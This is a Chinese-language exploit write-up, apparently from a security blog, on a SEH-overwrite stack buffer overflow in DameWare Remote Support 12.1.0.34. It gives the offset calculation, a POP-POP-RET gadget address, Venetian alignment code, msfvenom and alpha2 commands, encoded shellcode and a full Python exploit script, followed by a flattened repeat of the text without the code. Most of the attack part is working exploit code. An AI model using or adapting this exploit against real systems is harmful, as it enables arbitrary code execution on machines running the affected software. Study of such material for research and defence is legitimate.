DameWare Remote Support缓冲区溢出漏洞复现
字数 1856 2025-08-26 22:11:28

DameWare Remote Support 缓冲区溢出漏洞分析与利用

漏洞概述

漏洞名称: DameWare Remote Support 缓冲区溢出漏洞
影响版本: V.12.1.0.34
漏洞类型: 栈缓冲区溢出
利用结果: 远程代码执行
漏洞位置: Tools → Computer Comments → Description 功能下的 ComputerName 文本框

漏洞描述

DameWare 是一款著名的 Windows 远程控制软件。该漏洞存在于 ComputerName 文本框的处理逻辑中,当输入超长字符串时会导致栈缓冲区溢出,覆盖结构化异常处理(SEH)指针,从而允许攻击者执行任意代码。

环境准备

  • 目标系统: Windows 7 (32位)
  • 漏洞软件: DameWare Remote Support V.12.1.0.34
  • 调试工具: Immunity Debugger + Mona 插件
  • 辅助工具:
    • MSF (Metasploit Framework) 用于生成 shellcode 和计算偏移
    • Alpha2 编码器 (用于将 shellcode 转为 Unicode 兼容格式)

漏洞分析

1. 触发漏洞

在 DameWare 的 ComputerName 文本框中输入 5000 个"A"字符,程序崩溃,观察崩溃时的寄存器状态和栈状态。

2. 调试分析

使用 Immunity Debugger 附加 DameWare 进程进行分析:

  1. 关键调用函数位于 0x4CADB8
  2. 输入超长字符串后,程序断在 0x4CADB8
  3. 单步执行发现 SEH 被覆写为 0x00410041 (注意:不是预期的 0x41414141)

关键发现:

  • 程序将用户输入的 ASCII 转换为 UNICODE
  • SEH 处理机制被破坏

3. 偏移量计算

使用 MSF 的 pattern_create 和 pattern_offset 工具计算精确偏移:

msf-pattern_create -l 5000  # 生成5000个唯一字符
msf-pattern_offset -q "37694136" -l 5000  # 查找偏移

结果: 偏移量为 260 字节

漏洞利用

1. 利用原理

利用结构:

padding + nseh + seh + shellcode

利用流程:

  1. 将 NSEH 的指针覆写为 shellcode
  2. 将当前 SEH 的处理函数指针指向 POP-POP-RET 指令序列
  3. 触发 SEH
  4. 将 NSEH 的指针弹入 EIP,执行 shellcode

2. 关键组件

a. POP-POP-RET 地址查找

使用 Mona 插件查找合适的 POP-POP-RET 指令序列地址:

0x007a0021 : pop esi # pop edi # ret

b. 兼容 Unicode 的跳转

由于程序将输入转为 Unicode,常规的 jmp short 指令无法使用。采用 Venetian shellcode 技术:

  1. 将 shellcode 的内存地址放到 eax 寄存器中
  2. push eax 到栈上
  3. ret eax 到 eip

c. Shellcode 对齐代码

align = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align += u'\uC3C3'                  # RETN

3. Shellcode 生成

使用 MSF 生成计算器 shellcode 并转换为 Unicode 兼容格式:

msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
./alpha2 eax --unicode --uppercase < shellcode.raw

示例 shellcode:

PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXTBKPKPM0C03YK5P1Y01T4KR0004K22LLTKPRMDTKD2NHLO87PJO601KOFLOLQQCLM2NLMPWQXOLMKQWWK2ZRR2PWTKB2LPDKPJOLDKPLN1RXISOXKQXQPQTKPYMPKQXSTK19LX9SNZPITKOD4KKQYFNQKOVLY1XOLMM1WWOH9P45JVKSSMJXOKSMO43EK4PX4KR8MTM1YC1V4KLL0K4K28MLKQ8STKKT4KKQJ0SYOTMTO41K1KQQR9PZPQKOIP1O1OPZTKN2ZKTMQMBJM1TME5X2KPKPM0PPQXNQTKROSWKOXUGKJP85G2PVQX5VV57MUMKO9EOLKVSLKZU0KKYPT5KUWKOWMCRRRO2JKP0SKO8US31QRLS3M0A

4. 完整利用代码

#!/usr/bin/env python
junk1 = "\x41" * 260
nseh  = "\x61\x43"
seh   = "\x21\x7a"
align  = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align +=  u'\uC3C3'                 # RETN
junk2 = "\x43" * 18
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD"
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXTBKPKPM0C03YK5P1Y01T4KR0004K22LLTKPRMDTKD2NHLO87PJO601KOFLOLQQCLM2NLMPWQXOLMKQWWK2ZRR2PWTKB2LPDKPJOLDKPLN1RXISOXKQXQPQTKPYMPKQXSTK19LX9SNZPITKOD4KKQYFNQKOVLY1XOLMM1WWOH9P45JVKSSMJXOKSMO43EK4PX4KR8MTM1YC1V4KLL0K4K28MLKQ8STKKT4KKQJ0SYOTMTO41K1KQQR9PZPQKOIP1O1OPZTKN2ZKTMQMBJM1TME5X2KPKPM0PPQXNQTKROSWKOXUGKJP85G2PVQX5VV57MUMKO9EOLKVSLKZU0KKYPT5KUWKOWMCRRRO2JKP0SKO8US31QRLS3M0A"
crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3
print(crash)

利用演示

  1. 在 Windows 7 上运行 DameWare (需开启 XP 兼容模式并关闭 ASLR)
  2. 将生成的 payload 输入到 ComputerName 文本框
  3. 观察执行流程:
    • 断在 0x007a0021 (POP-POP-RET)
    • 单步执行到 ret 指令
    • 返回到 NSEH 指向的缓冲区
    • 执行 add eax, 0x50
    • push eax 然后 ret
    • 最终执行 shellcode,弹出计算器

注意事项

  1. 坏字符问题: 实际利用中可能存在坏字符中断执行流的问题,需要在 junk3 后添加两字节 Unicode 修正
  2. Shellcode 稳定性: 不同环境下生成的 shellcode 可能表现不同,需要多次尝试
  3. 调试技巧: 在关键地址 (0x007a0021) 设置断点有助于跟踪执行流程

参考资源

  1. Exploit-DB 漏洞信息
  2. Alpha2 编码器源码
  3. 作者博客 (原文中未提供具体链接)

总结

该漏洞利用展示了经典的 SEH 覆盖技术,结合了 Unicode 兼容性问题解决方案和 Venetian shellcode 技术。关键点在于精确计算偏移、正确处理 Unicode 转换以及稳定的 shellcode 布置。这种技术可以推广到其他存在类似问题的应用程序漏洞利用中。

DameWare Remote Support 缓冲区溢出漏洞分析与利用 漏洞概述 漏洞名称 : DameWare Remote Support 缓冲区溢出漏洞 影响版本 : V.12.1.0.34 漏洞类型 : 栈缓冲区溢出 利用结果 : 远程代码执行 漏洞位置 : Tools → Computer Comments → Description 功能下的 ComputerName 文本框 漏洞描述 DameWare 是一款著名的 Windows 远程控制软件。该漏洞存在于 ComputerName 文本框的处理逻辑中,当输入超长字符串时会导致栈缓冲区溢出,覆盖结构化异常处理(SEH)指针,从而允许攻击者执行任意代码。 环境准备 目标系统 : Windows 7 (32位) 漏洞软件 : DameWare Remote Support V.12.1.0.34 调试工具 : Immunity Debugger + Mona 插件 辅助工具 : MSF (Metasploit Framework) 用于生成 shellcode 和计算偏移 Alpha2 编码器 (用于将 shellcode 转为 Unicode 兼容格式) 漏洞分析 1. 触发漏洞 在 DameWare 的 ComputerName 文本框中输入 5000 个"A"字符,程序崩溃,观察崩溃时的寄存器状态和栈状态。 2. 调试分析 使用 Immunity Debugger 附加 DameWare 进程进行分析: 关键调用函数位于 0x4CADB8 输入超长字符串后,程序断在 0x4CADB8 处 单步执行发现 SEH 被覆写为 0x00410041 (注意:不是预期的 0x41414141 ) 关键发现 : 程序将用户输入的 ASCII 转换为 UNICODE SEH 处理机制被破坏 3. 偏移量计算 使用 MSF 的 pattern_ create 和 pattern_ offset 工具计算精确偏移: 结果 : 偏移量为 260 字节 漏洞利用 1. 利用原理 利用结构: 利用流程: 将 NSEH 的指针覆写为 shellcode 将当前 SEH 的处理函数指针指向 POP-POP-RET 指令序列 触发 SEH 将 NSEH 的指针弹入 EIP,执行 shellcode 2. 关键组件 a. POP-POP-RET 地址查找 使用 Mona 插件查找合适的 POP-POP-RET 指令序列地址: b. 兼容 Unicode 的跳转 由于程序将输入转为 Unicode,常规的 jmp short 指令无法使用。采用 Venetian shellcode 技术: 将 shellcode 的内存地址放到 eax 寄存器中 push eax 到栈上 ret eax 到 eip c. Shellcode 对齐代码 3. Shellcode 生成 使用 MSF 生成计算器 shellcode 并转换为 Unicode 兼容格式: 示例 shellcode: 4. 完整利用代码 利用演示 在 Windows 7 上运行 DameWare (需开启 XP 兼容模式并关闭 ASLR) 将生成的 payload 输入到 ComputerName 文本框 观察执行流程: 断在 0x007a0021 (POP-POP-RET) 单步执行到 ret 指令 返回到 NSEH 指向的缓冲区 执行 add eax, 0x50 push eax 然后 ret 最终执行 shellcode,弹出计算器 注意事项 坏字符问题 : 实际利用中可能存在坏字符中断执行流的问题,需要在 junk3 后添加两字节 Unicode 修正 Shellcode 稳定性 : 不同环境下生成的 shellcode 可能表现不同,需要多次尝试 调试技巧 : 在关键地址 ( 0x007a0021 ) 设置断点有助于跟踪执行流程 参考资源 Exploit-DB 漏洞信息 Alpha2 编码器源码 作者博客 (原文中未提供具体链接) 总结 该漏洞利用展示了经典的 SEH 覆盖技术,结合了 Unicode 兼容性问题解决方案和 Venetian shellcode 技术。关键点在于精确计算偏移、正确处理 Unicode 转换以及稳定的 shellcode 布置。这种技术可以推广到其他存在类似问题的应用程序漏洞利用中。